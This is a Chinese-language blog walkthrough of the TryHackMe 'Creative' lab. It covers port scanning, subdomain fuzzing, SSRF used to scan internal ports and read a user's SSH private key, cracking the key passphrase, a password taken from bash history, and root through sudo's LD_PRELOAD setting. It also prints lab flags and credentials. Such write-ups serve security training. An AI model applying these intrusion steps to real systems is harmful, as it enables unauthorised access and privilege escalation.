<h1>Creative</h1>
<blockquote>
<a href="https://tryhackme.com/room/creative">https://tryhackme.com/room/creative</a> | <code>Easy</code>
</blockquote>
info：Exploit a vulnerable web application and some misconfigurations to gain root privileges.
<img src="/post-images/TryHackMeCreative/image.png" alt="image.png">
<h2>Recon</h2>
<pre><code class="hljs language-bash">➜ Creative nmap -sT -min-rate 10000 10.10.96.159 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-05 22:02 CST
Nmap scan report for 10.10.96.159
Host is up (0.35s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 2.65 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Creative nmap -sT -A -p 22,80 10.10.96.159 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-05 22:03 CST
Nmap scan report for 10.10.96.159
Host is up (0.35s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 8d:ff:e3:db:ba:78:82:20:fc:2c:97:dc:21:21:7e:ad (RSA)
| 256 89:7a:de:66:81:14:cd:ea:a8:46:a4:57:31:d8:d2:cf (ECDSA)
|_ 256 07:78:87:81:7b:69:a7:d2:8b:5d:45:79:5d:85:cd:ca (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X|5.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:5
Aggressive OS guesses: Linux 4.15 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 5.4 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 216.65 ms 10.2.0.1
2 ... 3
4 343.32 ms 10.10.96.159

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.57 seconds
</code></pre>
访问<code>HTTP</code>
<img src="/post-images/TryHackMeCreative/image1.png" alt="image.png">
经过一番搜索没法发现可以利用的，扫描一下子域名
<pre><code class="hljs language-bash">➜ Creative ffuf -u 'http://creative.thm' -H 'host: FUZZ.creative.thm' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs=178

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://creative.thm
 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header : Host: FUZZ.creative.thm
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response size: 178
________________________________________________

beta [Status: 200, Size: 591, Words: 91, Lines: 20, Duration: 374ms]
:: Progress: [14512/114442] :: Job [1/1] :: 117 req/sec :: Duration: [0:02:08] :: Errors: 0 ::
</code></pre>
得到<code>beta</code>，访问
<img src="/post-images/TryHackMeCreative/image2.png" alt="image.png">
<h2>SSRF</h2>
看着像是<code>SSRF</code>，输入我们<code>IP</code>尝试
<pre><code class="hljs language-bash">➜ Creative nc -lvp 80 
listening on [any] 80 ...
connect to [10.2.7.57] from creative.thm [10.10.96.159] 33820
GET / HTTP/1.1
Host: 10.2.7.57
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
</code></pre>
输入<code>127.0.0.1</code>
<img src="/post-images/TryHackMeCreative/image3.png" alt="image.png">
直接爆端口
<pre><code class="hljs language-bash">➜ Creative seq 2000 > ports
</code></pre>
<pre><code class="hljs language-bash">➜ Creative ffuf -u 'http://beta.creative.thm' -X POST -d 'url=http://127.0.0.1:FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -w ports -fs=13

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : POST
 :: URL : http://beta.creative.thm
 :: Wordlist : FUZZ: /root/Desktop/TryHackMe/Creative/ports
 :: Header : Content-Type: application/x-www-form-urlencoded
 :: Data : url=http://127.0.0.1:FUZZ
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response size: 13
________________________________________________

80 [Status: 200, Size: 37589, Words: 14867, Lines: 686, Duration: 365ms]
1337 [Status: 200, Size: 1143, Words: 40, Lines: 39, Duration: 348ms]
:: Progress: [2000/2000] :: Job [1/1] :: 115 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
</code></pre>
发现内部端口<code>1337</code> ，直接让服务器进行<code>SSRF</code>
<img src="/post-images/TryHackMeCreative/image4.png" alt="image.png">
我们再换成
<pre><code class="hljs language-bash">http://127.0.0.1:1337/home
</code></pre>
<img src="/post-images/TryHackMeCreative/image5.png" alt="image.png">
我们直接读取私钥
<pre><code class="hljs language-bash">http://127.0.0.1:1337/home/saad/.ssh/id_rsa
</code></pre>
<img src="/post-images/TryHackMeCreative/image6.png" alt="image.png">
<h2>Crack</h2>
直接私钥登录
<pre><code class="hljs language-bash">➜ Creative ssh saad@10.10.96.159 -i sshkey
Enter passphrase for key 'sshkey': 
</code></pre>
需要密码，爆破
<pre><code class="hljs language-bash">➜ Creative john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetness (sshkey) 
1g 0:00:00:31 DONE (2025-07-05 22:40) 0.03192g/s 30.65p/s 30.65c/s 30.65C/s hawaii..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</code></pre>
我们再登录
<img src="/post-images/TryHackMeCreative/image7.png" alt="image.png">
当前用户家目录下能读取到<code>user.txt</code>
<pre><code class="hljs language-bash">saad@ip-10-10-96-159:~$ cat user.txt 
9a1ce90a7653d74ab98630b47b8b4a84
</code></pre>
<h2>Root</h2>
看到<code>gnupg</code> 感觉是要整这个
<pre><code class="hljs language-bash">saad@ip-10-10-96-159:~$ ls -al
total 52
drwxr-xr-x 7 saad saad 4096 Jan 21 2023 .
drwxr-xr-x 4 root root 4096 Jul 5 13:57 ..
-rw------- 1 saad saad 362 Jan 21 2023 .bash_history
-rw-r--r-- 1 saad saad 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 saad saad 3797 Jan 21 2023 .bashrc
drwx------ 2 saad saad 4096 Jan 20 2023 .cache
drwx------ 3 saad saad 4096 Jan 20 2023 .gnupg
drwxrwxr-x 3 saad saad 4096 Jan 20 2023 .local
-rw-r--r-- 1 saad saad 807 Feb 25 2020 .profile
drwx------ 3 saad saad 4096 Jan 20 2023 snap
drwx------ 2 saad saad 4096 Jan 21 2023 .ssh
-rwxr-xr-x 1 root root 150 Jan 20 2023 start_server.py
-rw-r--r-- 1 saad saad 0 Jan 20 2023 .sudo_as_admin_successful
-rw-rw---- 1 saad saad 33 Jan 21 2023 user.txt
</code></pre>
但是并不是，因为文件并不足够
我们又注意到<code>.bash_history</code> 竟然没有被重合向到<code>/dev/null</code>
<pre><code class="hljs language-bash">saad@ip-10-10-96-159:~$ cat .bash_history 
whoami
pwd
ls -al
ls
cd ..
sudo -l
echo "saad:MyStrongestPasswordYet$4291" > creds.txt
rm creds.txt
sudo -l
whomai
whoami
pwd
ls -al
sudo -l
ls -al
pwd
whoami
mysql -u root -p
netstat -antlp
mysql -u root
sudo su
ssh root@192.169.155.104
mysql -u user -p
mysql -u db_user -p
ls -ld /var/lib/mysql
ls -al
cat .bash_history 
cat .bash_logout 
nano .bashrc 
ls -al
</code></pre>
得到密码 <code>MyStrongestPasswordYet$4291</code> ，啥看<code>sudo</code>权限
<pre><code class="hljs language-bash">saad@ip-10-10-96-159:~$ sudo -l
Matching Defaults entries for saad on ip-10-10-96-159:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User saad may run the following commands on ip-10-10-96-159:
 (root) /usr/bin/ping
</code></pre>
看到<code>env_keep+=LD_PRELOAD</code> 结束了
<ul>
<li><code>LD_PRELOAD</code> 可以在运行程序前强行加载你自定义的 <code>.so</code> 共享库。</li>
<li>如果这个库中实现了 <code>getuid()</code> 或其他标准函数，它就可以被优先加载、覆盖。</li>
<li>当你以 <code>sudo</code> 运行 <code>/bin/whoami</code>，就会先加载你的库，执行你指定的恶意代码</li>
</ul>
<blockquote>
<a href="https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=LD_PRELOAD#ld_preload---ld_library_path">https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=LD_PRELOAD#ld_preload---ld_library_path</a>
</blockquote>
<img src="/post-images/TryHackMeCreative/image8.png" alt="image.png">
<code>root.txt</code>
<pre><code class="hljs language-bash">root@ip-10-10-96-159:~# cat root.txt 
992bfd94b90da48634aed182aae7b99f
</code></pre>
<h2>总结</h2>
梭哈

Creative https://tryhackme.com/room/creative | Easy info：Exploit a vulnerable web application and some misconfigurations to gain root privileges. Reco...

TryHackMe - Creative

TheHackersLabs - THLPWN

念念碎